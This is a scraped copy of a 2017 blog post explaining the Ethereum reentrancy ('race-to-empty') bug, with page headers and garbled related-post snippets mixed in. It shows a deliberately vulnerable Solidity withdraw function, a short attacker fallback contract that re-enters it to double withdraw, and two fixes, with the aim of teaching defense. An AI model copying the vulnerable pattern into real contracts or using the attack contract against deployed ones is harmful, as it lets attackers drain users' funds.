Академический Документы
Профессиональный Документы
Культура Документы
MENU
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 1/7
9/8/2017 More Ethereum Attacks: Race-To-Empty is the Real Deal
The Vulnerability
Here is some code; see if you can nd the problem.
function addToBalance() {
userBalances[msg.sender] += msg.amount;
}
function withdrawBalance() {
amountToWithdraw = userBalances[msg.sender];
if (!(msg.sender.call.value(amountToWithdraw)())) {
throw; }
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 2/7
9/8/2017 More Ethereum Attacks: Race-To-Empty is the Real Deal
userBalances[msg.sender] = 0;
}
function () {
// To be called by a vulnerable contract with a withdraw
function.
// This will double withdraw.
vulnerableContract v;
uint times;
if (times == 0 && attackModeIsOn) {
times = 1;
v.withdraw();
} else { times = 0; }
}
vulnerableContract.withdraw run 1
attacker default function run 1
vulnerableContract.withdraw run 2
attacker default function run 2
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 3/7
9/8/2017 More Ethereum Attacks: Race-To-Empty is the Real Deal
So, if you are using only send for all calls, carry on. But, this bug
is both nasty and pervasive, I urge you to think through the two
approaches below.
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 4/7
9/8/2017 More Ethereum Attacks: Race-To-Empty is the Real Deal
function withdrawBalance() {
amountToWithdraw = userBalances[msg.sender];
userBalances[msg.sender] = 0;
if (amountToWithdraw > 0) {
if (!(msg.sender.send(amountToWithdraw))) { throw; }
}
}
function withdrawBalance() {
if ( withdrawMutex[msg.sender] == true) { throw; }
withdrawMutex[msg.sender] = true;
amountToWithdraw = userBalances[msg.sender];
if (amountToWithdraw > 0) {
if (!(msg.sender.send(amountToWithdraw))) { throw; }
}
userBalances[msg.sender] = 0;
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 5/7
9/8/2017 More Ethereum Attacks: Race-To-Empty is the Real Deal
withdrawMutex[msg.sender] = false;
}
That said, I haven't had time to think through all the implications
of this, and I'm happy for any feedback: e-mail me and tell me
your thoughts.
Point / Ethereum
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 6/7
9/8/2017 More Ethereum Attacks: Race-To-Empty is the Real Deal
Point / Ethereum
Counterpoint: Grie ng Wallets:
Ethereum Miners Send w/Throw Is
Should Blacklist Dangerous
TheDAO Theft Using send to send money to a
nasty ethereum wallet can lock
Patrick Murck and I are trading
your contract if implemented
viewpoints on whether or not
improperly, and there
there should be a transaction
rollback for TheDAO
http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ 7/7